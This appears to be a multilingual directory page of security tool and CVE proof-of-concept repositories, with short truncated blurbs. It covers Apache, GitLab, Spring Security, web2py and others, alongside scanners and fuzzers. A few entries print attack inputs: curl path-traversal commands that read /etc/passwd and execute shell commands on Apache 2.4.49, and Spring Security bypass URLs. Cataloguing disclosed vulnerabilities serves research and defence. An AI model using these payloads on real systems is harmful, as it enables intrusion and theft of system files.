CVE-2021-43778

CVE-2021-43778 CVE-2021-43778 poc uso: CVE-2021-43778 http://test.com...

CVE-2023-22432

CVE-2023-22432 Verificação de PoC da vulnerabilidade web2py CVE-2023-22432 Uma vulnerabilidade CVE-2023-22432 no web2py foi divulgada em 31 de janeiro de 2023 horário dos EUA. Este artigo descreve nossa discussão sobre essa vulnerabilidade e os resultados de nossa verificação. Resumo da...

node-pdf-generator-ssrf

CVE-2020-7740 Dies betrifft alle Versionen des Pakets node-pdf-generator. Aufgrund fehlender Eingabevalidierung und -bereinigung des Inhalts, der an node-pdf-generator übergeben wird, ist es einem Angreifer möglich, eine URL zu erstellen, die an einen externen Server weitergeleitet wird, was eine...

CVE-2022-42889

CVE-2022-42889-POC Eine einfache Demo-Anwendung, die zeigt, wie die Schwachstelle CVE-2022-42889 ausgenutzt werden kann. Nutzt OOB-Dienste Out of Band, um dns- und url-Präfixe zu demonstrieren. JavaDocs für die commons-text-Interpolation commons-text JavaDocs Beispiel-Interpolationen...

cve-2024-42327

cve-2024-42327 usage: cve-2024-42327.py -h -u URL -n USERNAME -p PASSWORD --example cve-2024-42327.py: error: the following arguments are required: -u/--url, -n/--username, -p/--password...

Zeus-Scanner

Verzeichnis nützlicher Links Was ist Zeus Die Funktionen von Zeus Anforderungen und Installation Ubuntu/Debian centOS Andere Screenshots Demo-Video Benutzerhandbuch Wie Zeus funktioniert Funktionalität sqlmap-Flags an Zeus übergeben Rechtliche Informationen Lizenz GPL Verhaltenskodex Einen Fehler...

backdoor.mirai.helloworld

Dasan GPON Router URL ? image quando si aggiunge una stringa dopo...

TekDefense-Automater

TekDefense-Automater Versione: 0.21 http://www.tekdefense.com/automater/ http://www.tekdefense.com/news/2013/12/4/finally-the-new-automater-release-is-out.html Automater è uno strumento che ho creato originariamente per automatizzare l'analisi OSINT degli indirizzi IP. È cresciuto rapidamente ed ...

Review.CVE-2023-5612

CVE-2023-5612 – SSRF di GitLab tramite URL Webhook PoC e Analisi 📌 Panoramica CVE ID CVE: CVE-2023-5612 Gravità: Alta CVSS: 8.1 Punteggio Base Tipo: Server-Side Request Forgery SSRF Componente: Webhook di GitLab CE/EE Versioni Affette: GitLab CE/EE " \ --data-urlencode "url=http://127.0.0.1:8888"...

CVE-2021-21349

CVE-2021-21349 XStream SSRF Annuncio ufficiale di XStream CVE-2021-21349 Vulnerabilità CVE-2021-21349: Una richiesta di Server-Side Request Forgery può essere attivata durante l'unmarshalling con XStream per accedere a flussi di dati da un URL arbitrario che fa riferimento a una risorsa in una...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 vulnerabilidade de Path Traversal no Apache 2.4.49. PoC de RCE PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Siga-nos Vulnmachines...

CVE-2026-51385

CVE-2026-51385 Advisory per CVE-2026-51385. Era necessario pubblicarlo perché GRAPHIFY non ha riconosciuto l'advisory e non lo ha pubblicato, e MITRE ha assegnato CVE-2026-51385, questo è l'advisory per essa. ES: Questa è stata la mia prima CVE, per essere onesto ho trovato un modo per rompere la...

CVE-2025-11953-POC-

CVE-2025-11953 - Ambiente di Ricerca RCE per React Native CLI 📋 Panoramica CVE-2025-11953 è una vulnerabilità critica di Esecuzione Remota di Codice RCE nel server di sviluppo Metro della React Native CLI, scoperta da JFrog Security. Questo ambiente di ricerca fornisce l'implementazione reale...

HouseProxy

HouseProxy Proteggi i tuoi genitori dal phishing, proxy HTTP focalizzato sul bloccare URL di phishing Installazione root@kitploit: git clone https://github.com/mthbernardes/HouseProxy.git cd HouseProxy/ pip3 install -r requeriments.txt Configurazione root@kitploit: Modifica etc/HouseProxy.conf pe...

CVE-2022-22978

CVE-2022-22978 Spring Security Passar Spring Security 成功 http://localhost:9090/login%0a Passar Spring Security com SayMyName 失敗 http://localhost:9090/name%0d Ignorar Spring Security com RBAC Customizado 失敗 http://localhost:9090/admin/admin%0d Ignorar Spring Security com RBAC de Anotação 失敗...

angryFuzzer

AngryFuzz3r Status: Entwicklung Über das AngryFuzz3r-Projekt AngryFuzz3r ist eine Sammlung von Tools für Pentesting, um Informationen zu sammeln und Schwachstellen der Ziele basierend auf dem Fuzzedb-Projekt https://github.com/fuzzdb-project/fuzzdb zu entdecken. UrlFuzz3r-AngryFuzz3r1 Entdecken S...

OAuth-Request-Crafter

OAuth-Request-Crafter OAuth Request Crafter è uno strumento che ti aiuta a sperimentare con URL protetti da firma OAuth. Caratteristiche Supporta GET, POST, PUT e DELETE Inoltra la richiesta tramite proxy Manometti URL, parametri e header al volo Aggiungi header e cookie aggiuntivi Perché? Quando...

CVE-2019-1010174

CVE-2019-1010174 CImg Library v.2.3.3 - injection di comandi Dettaglio CVE-2019-1010174 Modificato Questa vulnerabilità è stata modificata dall'ultima analisi dell'NVD. È in attesa di una rianalisi che potrebbe comportare ulteriori modifiche alle informazioni fornite. Descrizione CImg La libreria...

CVE-2020-3187-Scanlist

CVE-2020-3187-Scanlist - Cisco Sito di scansione batch. Disclaimer: Non sono responsabile dell'uso di questo strumento o di eventuali danni, NON UTILIZZARLO PER SCOPI ILLEGALI. Questo strumento è stato progettato per scansionare asset autorizzati per automatizzare il controllo di questa...

CVE-2021-41773

CVE-2021-41773 Strumento Python veloce per testare il path traversal di Apache CVE-2021-41773 in una lista di URL Utilizzo :- crea un file di URL live e usa il flag "-l" python3 apachepathtraversal.py -l urls-list.txt...